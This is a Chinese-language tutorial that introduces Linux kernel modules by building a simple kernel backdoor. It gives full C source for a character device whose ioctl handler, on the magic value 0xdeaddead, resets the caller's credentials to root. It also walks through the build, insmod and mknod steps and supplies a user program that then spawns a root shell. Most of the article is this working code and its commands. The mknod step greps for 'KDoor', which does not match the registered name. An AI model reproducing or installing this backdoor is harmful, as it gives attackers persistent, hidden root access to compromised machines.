1. 程式人生 > 程式設計 >Linux核心模組入門之簡單核心後門

Linux核心模組入門之簡單核心後門

核心模組簡介

Linux核心支援執行時動態擴充套件,即執行時動態載入核心擴充套件模組(.ko檔案),ko檔案所包含的程式碼經載入後即成為核心程式碼的一部分,擁有核心特權,可以呼叫核心其它元件,訪問核心空間資料以及操作硬體。當然也有跟核心程式碼一樣的限制,如較小的函式呼叫棧,不支援浮點運算等。

此處列舉一些核心模組特有的能力:

  • 硬體驅動。核心模組作為硬體的驅動程式,這應該是核心模組最主要的設計目標。
  • 程式控制。核心態對程式有完全的控制權,如許可權提升(如核心後門)、訊號掛起(如保護某個程式不被kill -9誤殺)。
  • 核心擴充套件。核心有一些擴充套件點,是需要用模組來完成的(Linux的防火牆框架netfilter)。

此外,由於眾所周知的原因,開發核心模組,只能使用C語言。

核心模組與使用者空間的介面

核心和使用者空間的通訊,主要有以下幾種方式:

  • 系統呼叫
  • ioctl
  • proc
  • netlink

其中,系統呼叫是最直接的,但不適用於核心模組,因為擴充套件系統呼叫需要編譯整個核心,這違背了執行時動態擴充套件的初衷;/proc是一個偽檔案系統,可以用於傳遞資訊,但無法做到實時,因為檔案系統是被動的;netlink介面類似socket,提供核心和使用者態間的雙向通訊,功能上完全沒問題,但用起來有些複雜,適合做更重要的事情。所以,這裡用ioctl來實現。

ioctl是針對檔案的操作,所以這裡的套路是:建立一個裝置檔案,並把核心模組指定為這個裝置檔案的驅動程式。這樣,使用者空間對這個裝置檔案發出的ioctl指令,即可傳達給核心模組

核心後門思路

由於核心程式碼擁有系統最高許可權(當然,裝載核心模組需要root許可權,否則系統就沒有安全性可言了),故可以在核心模組中留下後門,以便隨後的某個時刻獲取系統最高許可權。其實現思路很簡單,核心模組載入後作為核心一部分執行,使用者空間程式通過ioctl呼叫核心模組中的函式,核心模組將呼叫者程式的uid和gid設定為root,即可實現許可權提升。另外,由於核心模組是跟核心執行在一起的,故這種後門是沒有程式的。

具體實現

宣告初始化和結束入口

//其中init和cleanup是模組裡實現的函式,會在下面介紹
module_init(init);
module_exit(cleanup);
複製程式碼

核心模組被載入和解除安裝時,相應的初始化和清理函式被呼叫,一般是做一些資源的申請、釋放操作。

裝置註冊

分配裝置號,並指定模組中的函式作為裝置驅動例程,這個過程一般在模組的初始化函式裡實現,模組的初始化函式在模組被載入時被自動呼叫:

static int init(void) {
   const char *const dev_name = "/dev/kdoor";
   g_major = register_chrdev(0,dev_name,&fops);
   if (g_major < 0) {
       return g_major;
   }
   return 0;
}
複製程式碼

其中的fops是一個函式指標陣列,用於指定裝置驅動函式地址,這裡只需要註冊響應開啟檔案,關閉檔案和ioctl的函式:

static struct file_operations fops = {
    .owner = THIS_MODULE,.open = device_open,.release = device_release,.unlocked_ioctl = device_ioctl
};
複製程式碼

同理,需要在模組被解除安裝時解除安裝驅動。釋放裝置號資源:

static void cleanup(void) {
    //這個dev_name將出現在/proc/devices裡
    const char *const dev_name = "/dev/kdoor";
    unregister_chrdev(g_major,dev_name);
}
複製程式碼

處理裝置開啟

有程式開啟相應裝置檔案時,該函式被自動呼叫,這裡由於功能太簡單,什麼都不需要做,返回成功即可:

static int device_open(struct inode *inode,struct file *file) {
    return 0;
}
複製程式碼

響應ioctl

有程式在裝置檔案上呼叫ioctl時,該函式被自動呼叫,我們的後門功能也就在這裡完成:

static long device_ioctl(struct file *filp,unsigned int cmd,unsigned long arg) {
    //涉及到Linux的RCU操作,不能直接賦值,稍微有點繁瑣但並不複雜
    struct cred *new_cred;
    kuid_t kuid = KUIDT_INIT(0);
    kgid_t kgid = KGIDT_INIT(0);
    if (cmd == 0xdeaddead) {
        new_cred = prepare_creds();
        if (new_cred == NULL) {
             return -ENOMEM;
        }
        new_cred->uid = kuid;
        new_cred->gid = kgid;
        new_cred->euid = kuid;
        new_cred->egid = kgid;
        commit_creds(new_cred);
    }
    return 0;
}
複製程式碼

處理裝置關閉

裝置檔案描述符被關閉時,或者程式異常時,這個函式被自動呼叫,針對這個例子,這裡依然什麼都不需要做:

static int device_release(struct inode *inode,struct file *file) {
    return 0;
}
複製程式碼

後門的使用

編譯核心模組

核心是一個特殊的Makefile:

ifneq ($(KERNELRELEASE),)
obj-m:=kdoor.o
else
PWD:=$(shell pwd)
KDIR:=/lib/modules/$(shell uname -r)/build
all:
        $(MAKE) -C $(KDIR) M=$(PWD)
clean:
        rm -rf *.o *.mod.c *.ko *.symvers *.order *.markers
endif
複製程式碼

另外,核心模組編譯時,還需要安裝核心開發目錄。

載入模組

上述模組經過編譯後,即可得到一個ko檔案:

insmod ./kdoor.ko
複製程式碼

建立裝置

使用mknod命令建立裝置檔案: 根據裝置驅動編號建立裝置檔案,以便使用者空間可以與核心模組通訊:

mknod /dev/kdoor c `grep KDoor /proc/devices|awk '{print $1}'` 0
複製程式碼

第二個引數c表示此處建立的是一個字元裝置,第三個引數是裝置號,可以從/proc/devices檔案獲取。

在使用者空間使用這個後門(將呼叫程式許可權提升為root)

直接上程式碼(留意註釋):

int main(int argc,char *argv[]) {
    const char * const dev_name = "/dev/kdoor";
    //開啟檔案
    int fd = open(dev_name,O_RDWR);
    if (-1 == fd) {
        return 1;
    }
    //通過ioctl呼叫到模組中的實現
    int ret = ioctl(fd,0xdeaddead,0);
    if (ret != 0) {
        return 1;
    }
    //執行shell,此shell即擁有root許可權
    execlp("sh","sh",NULL);
    return 0;
}
複製程式碼

小結

本文通過開發一個簡單核心後門(普通程式通過訪問核心模組來提升許可權)的開發,演示來核心模組的能力,以及模組作為裝置驅動與使用者空間通訊的一般套路,希望能起到拋磚引玉的作用,至少讓讀者知道有核心模組這麼一回事。